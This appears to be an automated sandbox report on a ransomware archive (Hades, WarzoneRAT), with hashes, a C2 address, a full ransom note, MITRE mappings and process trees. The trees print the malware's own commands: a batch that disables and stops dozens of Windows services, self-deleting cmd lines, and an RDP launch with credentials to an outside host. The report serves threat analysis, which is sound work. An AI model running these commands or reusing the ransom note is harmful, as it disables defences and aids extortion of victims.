Overview

overview

10

Static

static

1

RNSM00414.7z

windows10-2004-x64

10

Analysis

  • max time kernel
    200s
  • max time network
    202s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/10/2024, 16:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    RNSM00414.7z
  • Size 6.8MB
  • Sample241028-vbftnstgql
  • SHA256 7d3f9f20a5bcdb6e2e9d53685af5b7f46d3604d5d9a9539cf8b35c8c41addd45
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
hadeswarzoneratcryptonediscoveryevasionexecutioninfostealerpackerpersistenceprivilege_escalationransomwarerattrojan

Malware Config

Extracted

Family

  • warzonerat

C2

  • 194.68.59.48:2318

Extracted

Path

  • C:\Users\Admin\Desktop\HOW-TO-DECRYPT-gn9cj.txt

Ransom Note
  • [+] What happened? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has extension *.gn9cj By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant get back your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] Using a TOR browser! - Download and install TOR browser from this site: hxxps://torproject.org/ - Open our website: hxxp://khfsk3ffg3av3rha.onion - Follow the on-screen instructions Extension name: *.gn9cj ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) will make everything possible for restoring, but please do not interfere. !!! !!! !!! ��

Signatures

  • Disables service(s) 3 TTPs
    evasionexecution
  • Hades Ransomware

    Ransomware family attributed to Evil Corp APT first seen in late 2020.

    ransomwarehades
  • Hades family
    hades
  • Hades payload 6 IoCs
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • WarzoneRat, AveMaria

    WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.

    ratinfostealerwarzonerat
  • Warzonerat family
    warzonerat
  • CryptOne packer 1 IoCs

    Detects CryptOne packer defined in NCC blogpost.

    cryptonepacker
  • Renames multiple (171) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Warzone RAT payload 4 IoCs
    rat
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 14 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 64 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 39 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 3 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs
    evasion
  • Views/modifies file attributes 1 TTPs 2 IoCs
    evasion

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00414.7z"
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2936
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4840
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /1
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4176
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:220
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2936
      • C:\Users\Admin\Desktop\00414\HEUR-Trojan-Ransom.MSIL.Encoder.vho-30b877a266dc809a469155ab42de7ad0e225e15777870b03a049ddb1123217d4.exe
        HEUR-Trojan-Ransom.MSIL.Encoder.vho-30b877a266dc809a469155ab42de7ad0e225e15777870b03a049ddb1123217d4.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:2304
      • C:\Users\Admin\Desktop\00414\HEUR-Trojan-Ransom.Win32.Blocker.gen-248eabc9c97d8c4994c26c88cf1806ea9274eb187e3eb0bae7ae8035c7f3b189.exe
        HEUR-Trojan-Ransom.Win32.Blocker.gen-248eabc9c97d8c4994c26c88cf1806ea9274eb187e3eb0bae7ae8035c7f3b189.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:748
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 748 -s 1320
          4⤵
          • Program crash
          PID:3792
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 748 -s 1912
          4⤵
          • Program crash
          PID:4644
      • C:\Users\Admin\Desktop\00414\HEUR-Trojan-Ransom.Win32.Encoder.gen-a868deb14742d23911aba5e97f35ecd8ac35effbe24b1f5f5b631c9d17d1481c.exe
        HEUR-Trojan-Ransom.Win32.Encoder.gen-a868deb14742d23911aba5e97f35ecd8ac35effbe24b1f5f5b631c9d17d1481c.exe
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        PID:2668
      • C:\Users\Admin\Desktop\00414\HEUR-Trojan-Ransom.Win32.Generic-5e58a1576d022944a3f18102fe5ff04a8b4d56918003b53b914beece11e63868.exe
        HEUR-Trojan-Ransom.Win32.Generic-5e58a1576d022944a3f18102fe5ff04a8b4d56918003b53b914beece11e63868.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:2636
      • C:\Users\Admin\Desktop\00414\Trojan-Ransom.Win32.AutoIt.ziq-20dc1a7d2186d078e6ecbe888855155ac683827efd9e052f7f85243bfc4d8c37.exe
        Trojan-Ransom.Win32.AutoIt.ziq-20dc1a7d2186d078e6ecbe888855155ac683827efd9e052f7f85243bfc4d8c37.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2648
        • C:\Users\Admin\RDP6\ConnectionClient.exe
          "C:\Users\Admin\RDP6\ConnectionClient.exe" -server fmea.homepc.it -user rileva1 -psw newfmea -color 32 -alttab 0 -remoteapp off -seamless off -width 1024 -height 768 -printer off -com off -smartcard off -preview on -disk on -smartsizing 0 -localtb 32
          4⤵
          • UAC bypass
          • Checks computer location settings
          • Executes dropped EXE
          • Checks whether UAC is enabled
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:3736
          • C:\Users\Admin\RDP6\TsCredentials.exe
            "C:\Users\Admin\RDP6\TsCredentials.exe" fmea.homepc.it /Delete
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4676
          • C:\Users\Admin\RDP6\TsCredentials.exe
            "C:\Users\Admin\RDP6\TsCredentials.exe" fmea.homepc.it rileva1 newfmea
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2528
          • C:\Windows\SysWOW64\mstsc.exe
            "C:\Windows\SysWOW64\mstsc.exe" "C:\Users\Admin\RDP6\Session.rdp"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3280
            • C:\Windows\system32\mstsc.exe
              "C:\Windows\SysWOW64\mstsc.exe" "C:\Users\Admin\RDP6\Session.rdp"
              6⤵
              • Enumerates connected drives
              • Checks SCSI registry key(s)
              • Suspicious behavior: AddClipboardFormatListener
              • Suspicious use of SetWindowsHookEx
              PID:4704
          • C:\Users\Admin\RDP6\TsCredentials.exe
            "C:\Users\Admin\RDP6\TsCredentials.exe" fmea.homepc.it /Delete
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2760
      • C:\Users\Admin\Desktop\00414\Trojan-Ransom.Win32.Cryrar.hev-3f967d306e6de83d8dd19745c0d6d3f94433ac29d4ddf9ad87dd1d4110cd700f.exe
        Trojan-Ransom.Win32.Cryrar.hev-3f967d306e6de83d8dd19745c0d6d3f94433ac29d4ddf9ad87dd1d4110cd700f.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3756
        • C:\Windows\system32\cmd.exe
          "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6491.tmp\64A2.bat C:\Users\Admin\Desktop\00414\Trojan-Ransom.Win32.Cryrar.hev-3f967d306e6de83d8dd19745c0d6d3f94433ac29d4ddf9ad87dd1d4110cd700f.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3880
          • C:\Windows\system32\ipconfig.exe
            ipconfig /release
            5⤵
            • Gathers network information
            PID:4568
          • C:\Windows\system32\ipconfig.exe
            ipconfig /renew
            5⤵
            • Gathers network information
            PID:4548
          • C:\Windows\system32\ipconfig.exe
            ipconfig /flushdns
            5⤵
            • Gathers network information
            PID:5020
          • C:\Windows\system32\netsh.exe
            netsh int tcp show global
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:1612
          • C:\Windows\system32\netsh.exe
            netsh int tcp set global chimney=enabled
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:2892
          • C:\Windows\system32\netsh.exe
            netsh int tcp set global autotuninglevel=normal
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:4508
          • C:\Windows\system32\netsh.exe
            netsh interface tcp set heuristics disabled
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:1104
          • C:\Windows\system32\netsh.exe
            netsh int tcp set global dca=enabled
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:832
          • C:\Windows\system32\netsh.exe
            netsh int tcp set global netdma=enabled
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:4436
          • C:\Windows\system32\netsh.exe
            netsh int tcp set global rss=enabled
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:4948
          • C:\Windows\system32\netsh.exe
            netsh int tcp set global rsc=enabled
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:4912
          • C:\Windows\system32\netsh.exe
            netsh int tcp set global ecncapability=disabled
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:2236
          • C:\Windows\system32\netsh.exe
            netsh int tcp set global initialRto=2000
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:2028
          • C:\Windows\system32\netsh.exe
            netsh int tcp set global timestamps=disabled
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Time Discovery
            PID:1940
          • C:\Windows\system32\netsh.exe
            netsh int tcp set global nonsackrttresiliency=disabled
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:3112
          • C:\Windows\system32\netsh.exe
            netsh int tcp set global maxsynretransmissions=2
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:3572
          • C:\Windows\system32\sc.exe
            SC CONFIG "ALG" start= disabled
            5⤵
              PID:4092
            • C:\Windows\system32\sc.exe
              sc stop "ALG"
              5⤵
              • Launches sc.exe
              PID:4956
            • C:\Windows\system32\sc.exe
              sc config "bthserv" start= disabled
              5⤵
              • Launches sc.exe
              PID:1596
            • C:\Windows\system32\sc.exe
              sc stop "bthserv"
              5⤵
              • Launches sc.exe
              PID:4800
            • C:\Windows\system32\sc.exe
              sc config "BthHFSrv" start= disabled
              5⤵
              • Launches sc.exe
              PID:3984
            • C:\Windows\system32\sc.exe
              sc stop "BthHFSrv"
              5⤵
              • Launches sc.exe
              PID:3860
            • C:\Windows\system32\sc.exe
              sc config "PeerDistSvc" start= disabled
              5⤵
              • Launches sc.exe
              PID:3172
            • C:\Windows\system32\sc.exe
              sc stop "PeerDistSvc"
              5⤵
              • Launches sc.exe
              PID:3404
            • C:\Windows\system32\sc.exe
              sc config "CertPropSvc" start= disabled
              5⤵
              • Launches sc.exe
              PID:1316
            • C:\Windows\system32\sc.exe
              sc stop "CertPropSvc"
              5⤵
              • Launches sc.exe
              PID:3520
            • C:\Windows\system32\sc.exe
              sc config "VaultSvc" start= disabled
              5⤵
              • Launches sc.exe
              PID:624
            • C:\Windows\system32\sc.exe
              sc stop "VaultSvc"
              5⤵
              • Launches sc.exe
              PID:468
            • C:\Windows\system32\sc.exe
              sc config "CryptSvc" start= disabled
              5⤵
              • Launches sc.exe
              PID:4364
            • C:\Windows\system32\sc.exe
              sc stop "CryptSvc"
              5⤵
              • Launches sc.exe
              PID:952
            • C:\Windows\system32\sc.exe
              sc config "TrkWks" start= disabled
              5⤵
              • Launches sc.exe
              PID:1224
            • C:\Windows\system32\sc.exe
              sc stop "TrkWks"
              5⤵
              • Launches sc.exe
              PID:2256
            • C:\Windows\system32\sc.exe
              sc config "DiagTrack" start= disabled
              5⤵
              • Launches sc.exe
              PID:4972
            • C:\Windows\system32\sc.exe
              sc stop "DiagTrack"
              5⤵
              • Launches sc.exe
              PID:1124
            • C:\Windows\system32\sc.exe
              sc config "WPCSvc" start= disabled
              5⤵
              • Launches sc.exe
              PID:1600
            • C:\Windows\system32\sc.exe
              sc stop "WPCSvc"
              5⤵
              • Launches sc.exe
              PID:388
            • C:\Windows\system32\sc.exe
              sc config "HomeGroupListener" start= disabled
              5⤵
              • Launches sc.exe
              PID:3288
            • C:\Windows\system32\sc.exe
              sc stop "HomeGroupListener"
              5⤵
              • Launches sc.exe
              PID:1104
            • C:\Windows\system32\sc.exe
              sc config "HomeGroupProvider" start= disabled
              5⤵
              • Launches sc.exe
              PID:3016
            • C:\Windows\system32\sc.exe
              sc stop "HomeGroupProvider"
              5⤵
              • Launches sc.exe
              PID:832
            • C:\Windows\system32\sc.exe
              sc config "hidserv" start= disabled
              5⤵
              • Launches sc.exe
              PID:2404
            • C:\Windows\system32\sc.exe
              sc stop "hidserv"
              5⤵
              • Launches sc.exe
              PID:4924
            • C:\Windows\system32\sc.exe
              sc config "vmicvss" start= disabled
              5⤵
              • Launches sc.exe
              PID:1892
            • C:\Windows\system32\sc.exe
              sc stop "vmicvss"
              5⤵
              • Launches sc.exe
              PID:2284
            • C:\Windows\system32\sc.exe
              sc config "vmictimesync" start= disabled
              5⤵
              • Launches sc.exe
              PID:664
            • C:\Windows\system32\sc.exe
              sc stop "vmictimesync"
              5⤵
              • Launches sc.exe
              PID:4500
            • C:\Windows\system32\sc.exe
              sc config "vmicrdv" start= disabled
              5⤵
              • Launches sc.exe
              PID:4236
            • C:\Windows\system32\sc.exe
              sc stop "vmicrdv"
              5⤵
              • Launches sc.exe
              PID:4644
            • C:\Windows\system32\sc.exe
              sc config "vmicheartbeat" start= disabled
              5⤵
              • Launches sc.exe
              PID:1664
            • C:\Windows\system32\sc.exe
              sc stop "vmicheartbeat"
              5⤵
              • Launches sc.exe
              PID:2916
            • C:\Windows\system32\sc.exe
              sc config "vmicshutdown" start= disabled
              5⤵
              • Launches sc.exe
              PID:692
            • C:\Windows\system32\sc.exe
              sc stop "vmicshutdown"
              5⤵
              • Launches sc.exe
              PID:4076
            • C:\Windows\system32\sc.exe
              sc config "vmicguestinterface" start= disabled
              5⤵
              • Launches sc.exe
              PID:3512
            • C:\Windows\system32\sc.exe
              sc stop "vmicguestinterface"
              5⤵
              • Launches sc.exe
              PID:1876
            • C:\Windows\system32\sc.exe
              sc config "vmickvpexchange" start= disabled
              5⤵
              • Launches sc.exe
              PID:1568
            • C:\Windows\system32\sc.exe
              sc stop "vmickvpexchange"
              5⤵
              • Launches sc.exe
              PID:2352
            • C:\Windows\system32\sc.exe
              sc config "SharedAccess" start= disabled
              5⤵
              • Launches sc.exe
              PID:2964
            • C:\Windows\system32\sc.exe
              sc stop "SharedAccess"
              5⤵
              • Launches sc.exe
              PID:4516
            • C:\Windows\system32\sc.exe
              sc config "IEEtwCollectorService" start= disabled
              5⤵
              • Launches sc.exe
              PID:1916
            • C:\Windows\system32\sc.exe
              sc stop "IEEtwCollectorService"
              5⤵
              • Launches sc.exe
              PID:1608
            • C:\Windows\system32\sc.exe
              sc config "iphlpsvc" start= disabled
              5⤵
              • Launches sc.exe
              PID:1428
            • C:\Windows\system32\sc.exe
              sc stop "iphlpsvc"
              5⤵
              • Launches sc.exe
              PID:1316
            • C:\Windows\system32\sc.exe
              sc config "MSiSCSI" start= disabled
              5⤵
              • Launches sc.exe
              PID:3520
            • C:\Windows\system32\sc.exe
              sc stop "MSiSCSI"
              5⤵
              • Launches sc.exe
              PID:4020
            • C:\Windows\system32\sc.exe
              sc config "NetTcpPortSharing" start= disabled
              5⤵
              • Launches sc.exe
              PID:3392
            • C:\Windows\system32\sc.exe
              sc stop "NetTcpPortSharing"
              5⤵
                PID:1224
              • C:\Windows\system32\sc.exe
                sc config "Netlogon" start= disabled
                5⤵
                • Launches sc.exe
                PID:3288
              • C:\Windows\system32\sc.exe
                sc stop "Netlogon"
                5⤵
                • Launches sc.exe
                PID:3016
              • C:\Windows\system32\sc.exe
                sc config "napagent" start= disabled
                5⤵
                • Launches sc.exe
                PID:2796
              • C:\Windows\system32\sc.exe
                sc stop "napagent"
                5⤵
                • Launches sc.exe
                PID:4720
              • C:\Windows\system32\sc.exe
                sc config "CscService" start= disabled
                5⤵
                • Launches sc.exe
                PID:4948
              • C:\Windows\system32\sc.exe
                sc stop "CscService"
                5⤵
                • Launches sc.exe
                PID:2804
              • C:\Windows\system32\sc.exe
                sc config "PNRPsvc" start= disabled
                5⤵
                • Launches sc.exe
                PID:2676
              • C:\Windows\system32\sc.exe
                sc stop "PNRPsvc"
                5⤵
                • Launches sc.exe
                PID:464
              • C:\Windows\system32\sc.exe
                sc config "p2pimsvc" start= disabled
                5⤵
                • Launches sc.exe
                PID:4208
              • C:\Windows\system32\sc.exe
                sc stop "p2pimsvc"
                5⤵
                • Launches sc.exe
                PID:2180
              • C:\Windows\system32\sc.exe
                sc config "RemoteAccess" start= disabled
                5⤵
                • Launches sc.exe
                PID:2528
              • C:\Windows\system32\sc.exe
                sc stop "RemoteAccess"
                5⤵
                • Launches sc.exe
                PID:3572
              • C:\Windows\system32\sc.exe
                sc config "wuauserv" start= disabled
                5⤵
                • Launches sc.exe
                PID:2352
              • C:\Windows\system32\sc.exe
                sc stop "wuauserv"
                5⤵
                • Launches sc.exe
                PID:2964
              • C:\Windows\system32\sc.exe
                sc config "wcncsvc" start= disabled
                5⤵
                • Launches sc.exe
                PID:2648
              • C:\Windows\system32\sc.exe
                sc stop "wcncsvc"
                5⤵
                • Launches sc.exe
                PID:428
          • C:\Users\Admin\Desktop\00414\Trojan-Ransom.Win32.Foreign.ofow-2776ed9eb0edfbe497366e4af177893a8dad3044c8c0dd3e37c559b748c337ae.exe
            Trojan-Ransom.Win32.Foreign.ofow-2776ed9eb0edfbe497366e4af177893a8dad3044c8c0dd3e37c559b748c337ae.exe
            3⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4404
            • C:\ProgramData\images.exe
              "C:\ProgramData\images.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1376
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:3716
          • C:\Users\Admin\Desktop\00414\Trojan-Ransom.Win32.Hades.a-ea310cc4fd4e8669e014ff417286da5edf2d3bef20abfb0a4f4951afe260d33d.exe
            Trojan-Ransom.Win32.Hades.a-ea310cc4fd4e8669e014ff417286da5edf2d3bef20abfb0a4f4951afe260d33d.exe
            3⤵
            • Executes dropped EXE
            PID:2004
            • C:\Users\Admin\AppData\Roaming\AccessRendezvous\Enhancement
              C:\Users\Admin\AppData\Roaming\AccessRendezvous\Enhancement /go
              4⤵
              • Executes dropped EXE
              PID:852
              • C:\Windows\SYSTEM32\cmd.exe
                cmd /c waitfor /t 10 pause /d y & attrib -h "C:\Users\Admin\AppData\Roaming\AccessRendezvous\Enhancement" & del "C:\Users\Admin\AppData\Roaming\AccessRendezvous\Enhancement" & rd "C:\Users\Admin\AppData\Roaming\AccessRendezvous\"
                5⤵
                  PID:2444
                  • C:\Windows\system32\waitfor.exe
                    waitfor /t 10 pause /d y
                    6⤵
                      PID:4828
                    • C:\Windows\system32\attrib.exe
                      attrib -h "C:\Users\Admin\AppData\Roaming\AccessRendezvous\Enhancement"
                      6⤵
                      • Views/modifies file attributes
                      PID:3756
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd /c waitfor /t 10 pause /d y & attrib -h "C:\Users\Admin\Desktop\00414\Trojan-Ransom.Win32.Hades.a-ea310cc4fd4e8669e014ff417286da5edf2d3bef20abfb0a4f4951afe260d33d.exe" & del "C:\Users\Admin\Desktop\00414\Trojan-Ransom.Win32.Hades.a-ea310cc4fd4e8669e014ff417286da5edf2d3bef20abfb0a4f4951afe260d33d.exe" & rd "C:\Users\Admin\Desktop\00414\"
                  4⤵
                    PID:2008
                    • C:\Windows\system32\waitfor.exe
                      waitfor /t 10 pause /d y
                      5⤵
                        PID:3700
                      • C:\Windows\system32\attrib.exe
                        attrib -h "C:\Users\Admin\Desktop\00414\Trojan-Ransom.Win32.Hades.a-ea310cc4fd4e8669e014ff417286da5edf2d3bef20abfb0a4f4951afe260d33d.exe"
                        5⤵
                        • Views/modifies file attributes
                        PID:2216
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                1⤵
                  PID:2392
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 748 -ip 748
                  1⤵
                    PID:388
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 748 -ip 748
                    1⤵
                      PID:4500
                    • C:\Windows\System32\rundll32.exe
                      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                      1⤵
                        PID:4112
                      • C:\Windows\system32\NOTEPAD.EXE
                        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Documents\HOW-TO-DECRYPT-gn9cj.txt
                        1⤵
                          PID:3820

                        Network

                              MITRE ATT&CK Enterprise v15

                              Reconnaissance

                              Resource Development

                              Initial Access

                              Execution

                              Command and Scripting Interpreter

                              1
                              T1059

                              System Services

                              2
                              T1569

                              Service Execution

                              2
                              T1569.002

                              Persistence

                              Boot or Logon Autostart Execution

                              1
                              T1547

                              Registry Run Keys / Startup Folder

                              1
                              T1547.001

                              Create or Modify System Process

                              2
                              T1543

                              Windows Service

                              2
                              T1543.003

                              Event Triggered Execution

                              1
                              T1546

                              Netsh Helper DLL

                              1
                              T1546.007

                              Privilege Escalation

                              Abuse Elevation Control Mechanism

                              1
                              T1548

                              Bypass User Account Control

                              1
                              T1548.002

                              Boot or Logon Autostart Execution

                              1
                              T1547

                              Registry Run Keys / Startup Folder

                              1
                              T1547.001

                              Create or Modify System Process

                              2
                              T1543

                              Windows Service

                              2
                              T1543.003

                              Event Triggered Execution

                              1
                              T1546

                              Netsh Helper DLL

                              1
                              T1546.007

                              Defense Evasion

                              Abuse Elevation Control Mechanism

                              1
                              T1548

                              Bypass User Account Control

                              1
                              T1548.002

                              Hide Artifacts

                              1
                              T1564

                              Hidden Files and Directories

                              1
                              T1564.001

                              Impair Defenses

                              2
                              T1562

                              Disable or Modify Tools

                              1
                              T1562.001

                              Modify Registry

                              3
                              T1112

                              Credential Access

                              Discovery

                              Peripheral Device Discovery

                              2
                              T1120

                              Query Registry

                              3
                              T1012

                              System Information Discovery

                              6
                              T1082

                              System Location Discovery

                              1
                              T1614

                              System Language Discovery

                              1
                              T1614.001

                              System Time Discovery

                              1
                              T1124

                              Lateral Movement

                              Collection

                              Command and Control

                              Web Service

                              1
                              T1102

                              Exfiltration

                              Impact

                              Service Stop

                              2
                              T1489

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              8B2B9A00839EED1DFDCCC3BFC2F5DF12
                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                              • Size 174B
                              • SHA256 c7340b72b2b49f6d216b5793f89dcf146a001fe16947ea9b44c51319d7db508a
                              • MD5 SHA1 SHA512
                              Submit Download

                              B46811C17859FFB409CF0E904A4AA8F8
                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
                              • Size 170B
                              • SHA256 ebddb02cf43dfd1f1f05d0052048ac3dfdf160b0ba71d55ddda576a0ddffa4c2
                              • MD5 SHA1 SHA512
                              Submit Download

                              F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
                              • Path C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
                              • Size 64KB
                              • SHA256 b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                              • Path C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                              • Size 4B
                              • SHA256 7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba
                              • MD5 SHA1 SHA512
                              Submit Download

                              F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
                              • Path C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
                              • Size 944B
                              • SHA256 878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d
                              • MD5 SHA1 SHA512
                              Submit Download

                              64A2.bat
                              • Path C:\Users\Admin\AppData\Local\Temp\6491.tmp\64A2.bat
                              • Size 3KB
                              • SHA256 56de06ca874d15d3dbf270ea7452c2a64c603589bf30406c1749e839fc14fe81
                              • MD5 SHA1 SHA512
                              Submit Download

                              __PSScriptPolicyTest_4hpuofol.lde.ps1
                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4hpuofol.lde.ps1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512
                              Submit Download

                              aut6222.tmp
                              • Path C:\Users\Admin\AppData\Local\Temp\aut6222.tmp
                              • Size 830B
                              • SHA256 b5207a645836ac4a9d910f8db6a942a8ac6b71b876c1e1924d73205933b048c5
                              • MD5 SHA1 SHA512
                              Submit Download

                              HEUR-Trojan-Ransom.MSIL.Encoder.vho-30b877a266dc809a469155ab42de7ad0e225e15777870b03a049ddb1123217d4.exe
                              • Path C:\Users\Admin\Desktop\00414\HEUR-Trojan-Ransom.MSIL.Encoder.vho-30b877a266dc809a469155ab42de7ad0e225e15777870b03a049ddb1123217d4.exe
                              • Size 106KB
                              • SHA256 30b877a266dc809a469155ab42de7ad0e225e15777870b03a049ddb1123217d4
                              • MD5 SHA1 SHA512 SSDEEP
